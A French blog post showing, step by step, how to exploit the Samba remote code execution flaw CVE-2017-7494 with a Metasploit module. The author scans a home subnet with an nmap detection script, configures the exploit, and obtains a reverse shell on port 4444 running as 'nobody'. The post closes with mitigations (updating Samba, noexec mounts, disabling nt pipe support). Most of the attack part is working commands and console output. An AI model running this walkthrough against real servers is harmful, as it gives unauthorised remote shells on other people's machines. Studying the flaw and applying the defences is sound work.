Ca vient d'arriver: Linux contient une faille critique qu'on peut considérer comme équivalente ressemblant a WannaCry sous Windows.
Sources:
Dans un post précédent , je m'étais légèrement gaussé a propos de la faille “WannaCry” affectant Windows …
Toutefois, il y a une différence majeure: Dans la faille exploitée ici, il faut des droits d'écritures (et d'exécutions) sur un partage SMB pour que l'exploit fonctionne, alors qu'avec “WannaCry
”, aucun droit particulier n'est requis.
Grâce à “metasploit
” , je vais montrer comment exploiter cette faille pour obtenir un shell et avoir accès a l'“ensemble” (aka droit “nobody”) du système vulnérable…
Ma principale source: http://thehackernews.com/2017/05/samba-rce-exploit.html
~~READMORE~~
Dans mon post concernant WannaCry , j'ai déjà montré comment installer "metasploit" sous Debian.
Il faut d'abord trouver la source de l'exploit nommé “is_known_pipename.rb
”.
Par exemple ici: https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb
En pratique, on peut télécharger le fichier comme ça:
$ wget -c https://raw.githubusercontent.com/hdm/metasploit-framework/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb
Ensuite, il faut copier le fichier dans “/opt/metasploit-framework/embedded/framework/modules/exploits/linux/samba/
”
En pratique, on peut copier le fichier comme ça:
$ sudo cp is_known_pipename.rb /opt/metasploit-framework/embedded/framework/modules/exploits/linux/samba/
UPDATE: Voir commentaires aussi.
Avec une version de “nmap
” supérieure a 7.4, il est possible d'utiliser le script qu'on trouvera sur ce site: http://seclists.org/nmap-dev/2017/q2/110
En pratique:
$ wget -c http://seclists.org/nmap-dev/2017/q2/att-110/samba-vuln-cve-2017-7494.nse
Et puis, je scan mon réseau:
$ nmap -p445 --script samba-vuln-cve-2017-7494.nse 192.168.1.0/24 ... Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-27 16:53 CEST Nmap scan report for pc-15.home (192.168.1.20) Host is up (0.0035s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | samba-vuln-cve-2017-7494: | VULNERABLE: | SAMBA Remote Code Execution from Writable Share | State: VULNERABLE | IDs: CVE:CVE-2017-7494 | Risk factor: HIGH CVSSv2: 9.03 (HIGH) (AV:N/AC:L/Au:S/C:C/I:C/A:C) | All versions of Samba from 3.5.0 onwards are vulnerable to a remote | code execution vulnerability, allowing a malicious client to upload a | shared library to a writable share, and then cause the server to load | and execute it. | | Disclosure date: 2017-05-24 | Check results: | Writable share found. | Name: public | Type: STYPE_DISKTREE | Path: C:\srv\share\public | References: | https://www.samba.org/samba/security/CVE-2017-7494.html |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494 Nmap done: 1 IP address (1 host up) scanned in 1.31 seconds ...
Donc, on a identifié l'IP 192.168.1.20 …
Par défaut, comme pour l'exploit de “WannaCry
” avec “EternalBlue
”, il faut ouvrir le port 4444 car c'est par là qu'un shell va être disponible.
Donc, on demarre “metasploit
”:
$ msfconsole
On charge l'environnement nécessaire a l'exploit:
msf > use exploit/linux/samba/is_known_pipename
… ce qui transforme le prompt en:
msf exploit(is_known_pipename) >
Regardons les options:
msf exploit(is_known_pipename) > show options Module options (exploit/linux/samba/is_known_pipename): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes The SMB service port (TCP) SMB_FOLDER no The directory to use within the writeable SMB share SMB_SHARE_BASE no The remote filesystem path correlating with the SMB share name SMB_SHARE_NAME no The name of the SMB share containing a writeable directory Exploit target: Id Name -- ---- 2 Linux x86_64
Il faut d'abord définir la cible (que j'avais préalablement identifié):
msf exploit(is_known_pipename) > set rhost 192.168.1.20 rhost => 192.168.1.20
A ce stade, si on fait un test, le script de l'exploit va chercher a joindre une librairie qu'il a préalablement injecté, en se basant sur un “pattern” pré-defini.
Par exemple, on verra qu'il cherche dans:
[*] 192.168.1.20:445 - Trying location /mnt/usb/PUBLIC/IlhJRAJJ.so... [*] 192.168.1.20:445 - Trying location /mnt/usb/Public/IlhJRAJJ.so... [*] 192.168.1.20:445 - Trying location /media/IlhJRAJJ.so... [*] 192.168.1.20:445 - Trying location /media/public/IlhJRAJJ.so... [*] 192.168.1.20:445 - Trying location /media/PUBLIC/IlhJRAJJ.so... [*] 192.168.1.20:445 - Trying location /media/Public/IlhJRAJJ.so...
Pas de bol, aucun ne correspond au serveur a atteindre…
NOTA : En fait, l'exploit cherche tout les partages auxquels il a accès en écriture: Ici, il se nomme “public ”. |
Donc, je vais l'aider un peu en lui donnant le chemin où je sais que l'injection va arriver… Dans mon cas c'est : “/srv/share/public
”
Donc, je l'aide en spécifiant ce chemin:
msf exploit(is_known_pipename) > set SMB_SHARE_BASE /srv/share/public
Voila, l'exploit devrait fonctionner.
msf exploit(is_known_pipename) > exploit [*] Started reverse TCP handler on 192.168.1.3:4444 [*] 192.168.1.20:445 - Using location \\192.168.1.20\public\ for the path [*] 192.168.1.20:445 - Payload is stored in //192.168.1.20/public/ as PAgKJLqv.so [*] 192.168.1.20:445 - Trying location /srv/share/public/PAgKJLqv.so... [*] Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.20:44581) at 2017-05-25 05:28:48 +0200
Visitons un peu:
pwd /tmp
ls -lart total 32 drwxr-xr-x 22 root root 4096 Jun 5 2016 .. drwxrwxrwt 2 root root 4096 May 7 03:19 .font-unix drwxrwxrwt 2 root root 4096 May 7 03:19 .XIM-unix drwxrwxrwt 2 root root 4096 May 7 03:19 .X11-unix drwxrwxrwt 2 root root 4096 May 7 03:19 .Test-unix drwxrwxrwt 2 root root 4096 May 7 03:19 .ICE-unix drwxrwxrwt 8 root root 4096 May 25 05:34 .
whoami nobody
Mettre a jour Samba !!!
Si le partage exposé via Samba est un montage d'une partition, alors ajouter l'option de montage “noexec
”.
Cela va interdire toutes exécutions de programmes à partir de ce montage: Dans le cas de la vulnérabilité évoqué dans ce post, le code injecté ne sera pas exécutable.
Donc, si vous avez des partages, vous pouvez immédiatement appliqué l'option “noexec
” comme ceci:
# mount -o remount,noexec <POINT_DE_MONTAGE>
Dans mon cas, en pratique c'est:
# mount -o remount,noexec /srv/share
Non testé |
---|
Pour ceux qui ne peuvent pas faire de mise à jour.
Dans “/etc/samba/smb.conf
”, dans la section “[global]
”, faire en sorte d'avoir:
nt pipe support = no
Et on redémarre:
# systemctl restart samba
Voila.